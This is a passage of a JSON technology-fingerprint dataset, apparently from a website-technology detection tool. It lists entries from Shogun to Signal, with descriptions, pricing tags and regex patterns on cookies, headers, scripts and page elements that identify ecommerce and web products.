],\n    \"description\": \"Shogun Frontend is an all-in-one ecommerce frontend platform. Shogun Frontend pairs with leading backends: Shopify, BigCommerce, Magento (Adobe Commerce), and more.\",\n    \"dom\": [\n      \"img[src*='.shgcdn.com/']\"\n    ],\n    \"icon\": \"Shogun Frontend.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://getshogun.com/frontend\"\n  },\n  \"Shogun Landing Page Builder\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Shogun Landing Page Builder is a drag and drop Shopify page builder for creating high-converting store pages.\",\n    \"icon\": \"Shogun Page Builder.svg\",\n    \"implies\": [\n      \"Shogun Page Builder\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getshogun\\\\.com/.+\\\\.myshopify\\\\.com\"\n    ],\n    \"website\": \"https://apps.shopify.com/shogun\"\n  },\n  \"Shogun Page Builder\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Shogun is a page builder commonly used with headless implementations.\",\n    \"icon\": \"Shogun Page Builder.svg\",\n    \"js\": {\n      \"shogunAnalytics\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://getshogun.com/page-builder\"\n  },\n  \"Shop Pay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Shop Pay is an accelerated checkout that lets customers save their email address, credit card, and shipping and billing information so they can complete their transaction faster the next time they are directed to the Shopify checkout.\",\n    \"dom\": {\n      \"[aria-labelledby='pi-shopify_pay']\": {\n        \"text\": \"\"\n      },\n      \"ul[data-shopify-buttoncontainer] li\": {\n        \"text\": \"ShopPay\"\n      }\n    },\n    \"icon\": \"Shop Pay.svg\",\n    \"js\": {\n      \"ShopifyPay.apiHost\": \"\"\n    },\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"scriptSrc\": [\n      \"cdn\\\\.shopify\\\\.com/shopifycloud/shopify_pay/\"\n    ],\n    \"website\": \"https://shop.app\"\n  },\n  \"Shop Pay Installments\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Shop Pay Installments allows customers to pay for orders between 50 USD and 3,000 USD in 4 interest-free installments.\",\n    \"dom\": [\n      \".shopify-installments__learn-more, .shopify-installments, #shopify-installments-cta\"\n    ],\n    \"icon\": \"Shop Pay.svg\",\n    \"implies\": [\n      \"Affirm\",\n      \"Shop Pay\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"website\": \"https://shoppay.affirm.com\"\n  },\n  \"ShopBase\": {\n    \"cats\": [\n      6,\n      106\n    ],\n    \"description\": \" ShopBase is a cross-border ecommerce platform for all Dropshipping/Print-on-Demand novices and experienced merchants.\",\n    \"headers\": {\n      \"content-security-policy\": \"(?:accounts|templates)\\\\.shopbase\\\\.com\"\n    },\n    \"icon\": \"ShopBase.svg\",\n    \"js\": {\n      \"sbsdk.checkout.setEnableABTestCustomer\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shopbase.com\"\n  },\n  \"ShopFactory\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ShopFactory is an all-in-one ecommerce platform that allows businesses to create and manage their online stores without the need for extensive technical expertise.\",\n    \"icon\": \"ShopFactory.svg\",\n    \"meta\": {\n      \"generator\": \"^ShopFactory V([0-9.]+) www\\\\.shopfactory\\\\.com$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shopfactory.com\"\n  },\n  \"ShopGate\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ShopGate is a provider of omnichannel commerce solutions.\",\n    \"icon\": \"ShopGate.svg\",\n    \"js\": {\n      \"ShopgateMobileHeader\": \"\",\n      \"_shopgate\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shopgate.com\"\n  },\n  \"ShopGold\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"eGold\": \"^\\\\w+$\",\n      \"popup_shopGold\": \"\",\n      \"popup_shopGold_time\": \"\"\n    },\n    \"description\": \"ShopGold is an all-in-one payment processing and ecommerce solution.\",\n    \"icon\": \"ShopGold.svg\",\n    \"website\": \"https://www.shopgold.pl\"\n  },\n  \"ShopHub\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"ShopHub is a platform that helps Shopify store owners grow their businesses by providing loyalty programs, coupons, and email capture services.\",\n    \"icon\": \"ShopHub.svg\",\n    \"js\": {\n      \"toggleShopHubWidget\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.tryshophub\\\\.com/\"\n    ],\n    \"website\": \"https://www.tryshophub.com\"\n  },\n  \"ShopPad Infinite Options\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"ShopPad Infinite Options allows you to create as many custom option fields for your product pages as you need.\",\n    \"icon\": \"ShopPad.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"Shoppad.apps.infiniteoptions\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://apps.shopify.com/custom-options\"\n  },\n  \"ShopSite\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ShopSite is a provider of shopping cart software tailored for small to medium-sized businesses.\",\n    \"icon\": \"ShopSite.svg\",\n    \"meta\": {\n      \"generator\": \"^ShopSite Pro (\\\\d+\\\\.\\\\d+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shopsite.com\"\n  },\n  \"ShopWired\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ShopWired is a UK based, fully hosted ecommerce platform that is focused on the UK market.\",\n    \"icon\": \"ShopWired.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.amazonaws\\\\.com/shopwired-theme-assets/\"\n    ],\n    \"website\": \"https://www.shopwired.co.uk\"\n  },\n  \"Shopaholic\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"shopaholic_cart_id\": \"\"\n    },\n    \"description\": \"Shopaholic is an open-source ecosystem of plugins and themes for rapid ecommerce website development that allows building projects from small to large online shops.\",\n    \"dom\": [\n      \"[class*='_shopaholic']\"\n    ],\n    \"icon\": \"Shopaholic.svg\",\n    \"js\": {\n      \"ShopaholicCart\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"October CMS\"\n    ],\n    \"website\": \"https://shopaholic.one\"\n  },\n  \"Shopapps\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Shopapps is a trusted Shopify Expert providing services through Shopify Apps.\",\n    \"icon\": \"Shopapps.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"iStockUrl\": \"iwish\\\\.myshopapps\\\\.com/\",\n      \"iWishUrl\": \"iwish\\\\.myshopapps\\\\.com/\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.myshopapps\\\\.com/\"\n    ],\n    \"website\": \"https://www.shopapps.in\"\n  },\n  \"Shopatron\": {\n    \"cats\": [\n      6\n    ],\n    \"html\": [\n      \"<body class=\\\"shopatron\",\n      \"<img[^>]+mediacdn\\\\.shopatron\\\\.com\\\\;confidence:50\"\n    ],\n    \"icon\": \"Shopatron.png\",\n    \"js\": {\n      \"shptUrl\": \"\"\n    },\n    \"meta\": {\n      \"keywords\": \"Shopatron\"\n    },\n    \"scriptSrc\": [\n      \"mediacdn\\\\.shopatron\\\\.com\"\n    ],\n    \"website\": \"https://ecommerce.shopatron.com\"\n  },\n  \"Shopblocks\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Shopblocks is a B2B ecommerce partner that transforms complex commercial challenges into growth opportunities.\",\n    \"dom\": [\n      \"link[href*='.myshopblocks.com/']\"\n    ],\n    \"icon\": \"Shopblocks.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.myshopblocks\\\\.com/\"\n    ],\n    \"website\": \"https://www.shopblocks.com\"\n  },\n  \"Shopcada\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"Shopcada.svg\",\n    \"js\": {\n      \"Shopcada\": \"\"\n    },\n    \"website\": \"https://shopcada.com\"\n  },\n  \"Shoper\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"Shoper.svg\",\n    \"js\": {\n      \"shoper\": \"\"\n    },\n    \"pricing\": [\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shoper.pl\"\n  },\n  \"Shopery\": {\n    \"cats\": [\n      6\n    ],\n    \"headers\": {\n      \"X-Shopery\": \"\"\n    },\n    \"icon\": \"Shopery.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Symfony\",\n      \"Elcodi\"\n    ],\n    \"website\": \"https://shopery.com\"\n  },\n  \"Shopfa\": {\n    \"cats\": [\n      6\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"^ShopFA ([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Shopfa.svg\",\n    \"js\": {\n      \"shopfa\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^ShopFA ([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://shopfa.com\"\n  },\n  \"Shopflo\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Shopflo is a platform that enables easy checkout experience for ecommerce brands.\",\n    \"icon\": \"Shopflo.svg\",\n    \"js\": {\n      \"Shopflo\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://shopflo.com\"\n  },\n  \"ShopiMind\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"ShopiMind is a multi-channel marketing automation solution for all ecommerce activities.\",\n    \"icon\": \"ShopiMind.svg\",\n    \"js\": {\n      \"_spmq.id_cart\": \"\",\n      \"_spmq.spm_ident\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shopimind.com\"\n  },\n  \"Shopify\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"_shopify_s\": \"\",\n      \"_shopify_sa_p\": \"\",\n      \"_shopify_sa_t\": \"\",\n      \"_shopify_y\": \"\"\n    },\n    \"description\": \"Shopify is a subscription-based software that allows anyone to set up an online store and sell their products. Shopify store owners can also sell in physical locations using Shopify POS, a point-of-sale app and accompanying hardware.\",\n    \"dom\": {\n      \"link[href*='shopify.com']\": {\n        \"attributes\": {\n          \"href\": \"(?:cdn\\\\.|\\\\.my)shopify\\\\.com\\\\;confidence:50\"\n        }\n      }\n    },\n    \"headers\": {\n      \"x-shopid\": \"\\\\;confidence:50\",\n      \"x-shopify-stage\": \"\"\n    },\n    \"icon\": \"Shopify.svg\",\n    \"js\": {\n      \"SHOPIFY_API_BASE_URL\": \"\",\n      \"Shopify\": \"\\\\;confidence:25\",\n      \"ShopifyAPI\": \"\",\n      \"ShopifyAnalytics\": \"\",\n      \"ShopifyCustomer\": \"\",\n      \"shopifyAccessUrl\": \"\"\n    },\n    \"meta\": {\n      \"shopify-checkout-api-token\": \"\",\n      \"shopify-digital-wallet\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sdks\\\\.shopifycdn\\\\.com\",\n      \"cdn\\\\.shopify\\\\.com\"\n    ],\n    \"scripts\": [\n      \"shopifyTag\"\n    ],\n    \"url\": [\n      \"^https?//.+\\\\.myshopify\\\\.com\"\n    ],\n    \"website\": \"https://shopify.com\",\n    \"xhr\": [\n      \"\\\\.myshopify\\\\.com\"\n    ]\n  },\n  \"Shopify Buy Button\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Shopify Buy Button is an app from Shopify which allows merchant to embed buy functionality for any product or collection into another website or blog.\",\n    \"icon\": \"Shopify.svg\",\n    \"js\": {\n      \"ShopifyBuy\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"scriptSrc\": [\n      \"sdk\\\\. shopifycdn\\\\.com/buy-button/latest/\"\n    ],\n    \"website\": \"https://apps.shopify.com/buy-button\"\n  },\n  \"Shopify Chat\": {\n    \"cats\": [\n      52,\n      100\n    ],\n    \"description\": \"Shopify Chat is Shopify's native live chat function that allows you to have real-time conversations with customers visiting your Shopify store.\",\n    \"icon\": \"Shopify.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"scriptSrc\": [\n      \"cdn\\\\.shopify\\\\.com/shopifycloud/shopify_chat/\"\n    ],\n    \"website\": \"https://www.shopify.com/inbox\"\n  },\n  \"Shopify Consent Management\": {\n    \"cats\": [\n      67,\n      100\n    ],\n    \"description\": \"Shopify Consent Management let's you create a tracking consent banner for EU customers.\",\n    \"icon\": \"Shopify.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"scriptSrc\": [\n      \"cookie_consent_shopify\\\\.js\"\n    ],\n    \"website\": \"https://apps.shopify.com/customer-privacy-banner\"\n  },\n  \"Shopify Geolocation App\": {\n    \"cats\": [\n      100,\n      79\n    ],\n    \"description\": \"Shopify Geolocation App makes language and country recommendations to your customers based on their geographic location and browser or device language.\",\n    \"icon\": \"Shopify Geolocation App.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"scriptSrc\": [\n      \"geolocation-recommendations\\\\.shopifycloud\\\\.com/\"\n    ],\n    \"website\": \"https://apps.shopify.com/geolocation\"\n  },\n  \"Shopify Product Reviews\": {\n    \"cats\": [\n      90,\n      100\n    ],\n    \"description\": \"Shopify Product reviews allows you to add a customer review feature to your products.\",\n    \"icon\": \"Shopify.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"SPR\": \"\"\n    },\n    \"scriptSrc\": [\n      \"productreviews\\\\.shopifycdn\\\\.com\"\n    ],\n    \"website\": \"https://apps.shopify.com/product-reviews\"\n  },\n  \"Shopistry\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Shopistry is a data-driven, headless customer management system.\",\n    \"dom\": [\n      \"img[src*='cdn.shopistrystage.com/'],link[imagesrcset*='cdn.shopistrystage.com/']\"\n    ],\n    \"icon\": \"Shopistry.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shopistry.com/\"\n  },\n  \"Shoplazza\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"shoplazza_source\": \"\"\n    },\n    \"description\": \"Shoplazza is a SaaS ecommerce platform.\",\n    \"icon\": \"Shoplazza.svg\",\n    \"js\": {\n      \"SHOPLAZZA\": \"\",\n      \"Shoplazza\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shoplazza.com\"\n  },\n  \"Shopline\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Shopline provides solutions for merchants to set up an online store.\",\n    \"excludes\": [\n      \"Shopify\"\n    ],\n    \"icon\": \"Shopline.svg\",\n    \"js\": {\n      \"Shopline\": \"\",\n      \"shoplytics\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://shoplineapp.com/\"\n  },\n  \"Shoplo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Shoplo is an all-in-one ecommerce platform.\",\n    \"icon\": \"Shoplo.svg\",\n    \"js\": {\n      \"SHOPLOAJAX\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.shoplo\\\\.\\\\w+/\"\n    ],\n    \"website\": \"https://www.shoplo.com\"\n  },\n  \"Shopmatic\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Shopmatic is an ecommerce website builder.\",\n    \"icon\": \"Shopmatic.svg\",\n    \"meta\": {\n      \"shopmatic-facebook-pixels-id\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://goshopmatic.com\"\n  },\n  \"Shoporama\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"Shoporama.svg\",\n    \"meta\": {\n      \"generator\": \"Shoporama\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"robots\": [\n      \"# Powered by Shoporama\"\n    ],\n    \"website\": \"https://www.shoporama.dk\"\n  },\n  \"Shoppable\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Shoppable is a multi-retailer checkout technology.\",\n    \"icon\": \"Shoppable.svg\",\n    \"js\": {\n      \"ShoppableApi\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.shoppable\\\\.com/\"\n    ],\n    \"website\": \"https://about.shoppable.com\"\n  },\n  \"ShopperApproved\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"ShopperApproved is a platform that enhances eCommerce traffic, sales, and conversions by leveraging trust signals, user-generated content, and social proof.\",\n    \"icon\": \"ShopperApproved.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.shopperapproved\\\\.com/\"\n    ],\n    \"website\": \"https://www.shopperapproved.com\"\n  },\n  \"Shoppiko\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Shoppiko is an ecommerce platform solution in India, which provides ecommerce website or ecommerce mobile application.\",\n    \"dom\": [\n      \"a[href*='shoppiko.com'][target='_blank']\"\n    ],\n    \"icon\": \"Shoppiko.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://shoppiko.com\"\n  },\n  \"ShoppingFeeder\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"ShoppingFeeder is a feed management solution for online retailers.\",\n    \"icon\": \"ShoppingFeeder.svg\",\n    \"js\": {\n      \"sfdrOrderData\": \"\",\n      \"sfdrUniqid\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Magento\",\n      \"Shopify\",\n      \"OpenCart\",\n      \"PrestaShop\",\n      \"WooCommerce\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sfdr.co\"\n  },\n  \"ShoppingGives\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"ShoppingGives is a B2B social ecommerce platform that allows companies of all sizes to make charitable donations through their customers' purchases.\",\n    \"icon\": \"ShoppingGives.svg\",\n    \"js\": {\n      \"sgObservables.getCharities\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.shoppinggives\\\\.com/\"\n    ],\n    \"website\": \"https://shoppinggives.com\"\n  },\n  \"Shoppub\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Shoppub is an ecommerce platform that focuses on implementing advanced business rules.\",\n    \"icon\": \"Shoppub.svg\",\n    \"js\": {\n      \"Shoppub.store\": \"\"\n    },\n    \"meta\": {\n      \"author\": \"^Shoppub$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shoppub.com.br\"\n  },\n  \"Shoppy\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Shoppy is an all-in-one payment processing and ecommerce solution.\",\n    \"icon\": \"Shoppy.svg\",\n    \"js\": {\n      \"Shoppy\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.shoppy\\\\.gg\"\n    ],\n    \"website\": \"https://shoppy.gg\"\n  },\n  \"Shoprenter\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Shoprenter offers a platform for building and running an ecommerce store.\",\n    \"icon\": \"Shoprenter.svg\",\n    \"js\": {\n      \"ShopRenter.customer\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cdn\\\\.shoprenter\\\\.hu/\"\n    ],\n    \"website\": \"https://www.shoprenter.hu\"\n  },\n  \"Shoprunner\": {\n    \"cats\": [\n      107,\n      102\n    ],\n    \"description\": \"ShopRunner is a service offering consumers free two-day shipping and returns on online orders placed with certain retailers.\",\n    \"dom\": [\n      \"link[href*='content.shoprunner.com']\"\n    ],\n    \"icon\": \"Shoprunner.png\",\n    \"js\": {\n      \"_shoprunner_com\": \"\",\n      \"_shoprunner_com.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/shoprunner/shoprunner_init\\\\.js\"\n    ],\n    \"website\": \"https://www.shoprunner.com\"\n  },\n  \"Shoptet\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Shoptet is an ecommerce solutions from store builder, inventory management of online payments.\",\n    \"dom\": [\n      \"link[href*='cdn.myshoptet.com']\"\n    ],\n    \"html\": [\n      \"<link [^>]*href=\\\"https?://cdn\\\\.myshoptet\\\\.com/\"\n    ],\n    \"icon\": \"Shoptet.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"shoptet\": \"\"\n    },\n    \"meta\": {\n      \"web_author\": \"^Shoptet\"\n    },\n    \"scriptSrc\": [\n      \"^https?://cdn\\\\.myshoptet\\\\.com/\"\n    ],\n    \"website\": \"https://www.shoptet.cz\"\n  },\n  \"Shopthru\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Shopthru is an ecommerce platform empowering businesses with tools to enhance connections, inspire delight, and foster prosperity.\",\n    \"icon\": \"Shopthru.svg\",\n    \"js\": {\n      \"shopthru_add_to_cart\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.shopthru\\\\.xyz/\"\n    ],\n    \"website\": \"https://www.shopthru.xyz\"\n  },\n  \"Shopware\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:shopware:shopware:*:*:*:*:*:*:*:*\",\n    \"description\": \"Shopware is an enterprise-level ecommerce platform.\",\n    \"dom\": [\n      \"input[name*='shopware_'], script[data-plugin-version^='Shopware']\"\n    ],\n    \"headers\": {\n      \"sw-context-token\": \"^[\\\\w]{32}$\\\\;version:6\",\n      \"sw-invalidation-states\": \"\\\\;version:6\",\n      \"sw-language-id\": \"^[a-fA-F0-9]{32}$\\\\;version:6\",\n      \"sw-version-id\": \"\\\\;version:6\"\n    },\n    \"html\": [\n      \"<title>Shopware ([\\\\d\\\\.]+) [^<]+\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Shopware.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"jQuery\",\n      \"Symfony\"\n    ],\n    \"js\": {\n      \"mollie_javascript_use_shopware\": \"\",\n      \"shopStudioGoogleTagManagerCloudGtagCallback\": \"\\\\;confidence:50\"\n    },\n    \"meta\": {\n      \"application-name\": \"Shopware\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:(shopware)|/web/cache/[0-9]{10}_.+)\\\\.js\\\\;version:\\\\1?4:5\",\n      \"/jquery\\\\.shopware\\\\.min\\\\.js\",\n      \"/engine/Shopware/\"\n    ],\n    \"website\": \"https://www.shopware.com\"\n  },\n  \"ShortPixel Image Optimizer\": {\n    \"cats\": [\n      87,\n      92\n    ],\n    \"description\": \"ShortPixel Image Optimizer is a lightweight WordPress plugin that can compress all of your site's images and PDF documents.\",\n    \"icon\": \"ShortPixel.svg\",\n    \"js\": {\n      \"spPicTest\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://shortpixel.com\"\n  },\n  \"Shortcodes Ultimate\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Shortcodes Ultimate is a comprehensive collection of visual components for WordPress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/shortcodes-ultimate/']\"\n    ],\n    \"icon\": \"Shortcodes Ultimate.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/shortcodes-ultimate/.+index\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://getshortcodes.com\"\n  },\n  \"Shortly\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Shortly help create short URLs for influencer-marketing, social media posts & email-marketing campaigns with your own store domain.\",\n    \"icon\": \"Shortly.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"scriptSrc\": [\n      \"//shortly\\\\.shop/\"\n    ],\n    \"website\": \"https://apps.shopify.com/shortly\"\n  },\n  \"ShoutCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"ShoutCMS is a web content management system (CMS) that allows users to build and manage websites.\",\n    \"icon\": \"ShoutCMS.svg\",\n    \"js\": {\n      \"Shout.addHeaderButton\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Shoutcms\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://shoutcms.com\"\n  },\n  \"ShoutOut\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"ShoutOut is a multi-level marketing SaaS solution that allows tracking of affiliates.\",\n    \"icon\": \"ShoutOut.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"scriptSrc\": [\n      \"\\\\.shoutout\\\\.global/\"\n    ],\n    \"website\": \"https://www.shoutout.global\"\n  },\n  \"Showdown\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"A Markdown to HTML converter written in Javascript.\",\n    \"icon\": \"Showdown.png\",\n    \"js\": {\n      \"showdown\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:(?:dist\\\\/)?)?showdown(?:\\\\.min)?(?:-?((?:\\\\d+\\\\.)+\\\\d+))?\\\\.js\\\\;version:\\\\1\",\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/(?:dist\\\\/)?)?showdown(?:\\\\.min)?(?:-)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://showdownjs.com/\"\n  },\n  \"Showit\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Showit is a drag-and-drop, no-code website builder for photographers and creative professionals.\",\n    \"icon\": \"Showit.svg\",\n    \"js\": {\n      \"showit.default.siteId\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"lib\\\\.showit\\\\.co/engine/([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://showit.co\"\n  },\n  \"Shuttle\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Shuttle is a website development platform.\",\n    \"icon\": \"Devisto.svg\",\n    \"implies\": [\n      \"Laravel\",\n      \"PHP\",\n      \"Amazon Web Services\"\n    ],\n    \"js\": {\n      \"Shuttle.FrontApp\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"shuttle(?:-assets-new|-storage)\\\\.s3\\\\.amazonaws\\\\.com\"\n    ],\n    \"website\": \"https://www.devisto.com\"\n  },\n  \"Sift\": {\n    \"cats\": [\n      10,\n      16\n    ],\n    \"description\": \"Sift is a CA-based fraud prevention company.\",\n    \"icon\": \"Sift.svg\",\n    \"js\": {\n      \"__siftFlashCB\": \"\",\n      \"_sift\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.sift(?:science)?\\\\.com/s\\\\.js\"\n    ],\n    \"website\": \"https://sift.com/\"\n  },\n  \"Signal\": {\n    \"cats\": [\n      32,\n      42\n    ],\n    \"description\": \"Signal is a cross-platform encrypted messaging service.\",\n    \"icon\": \"signal.png\",\n    \"js\": {\n      \"signalData\": \"\"\n    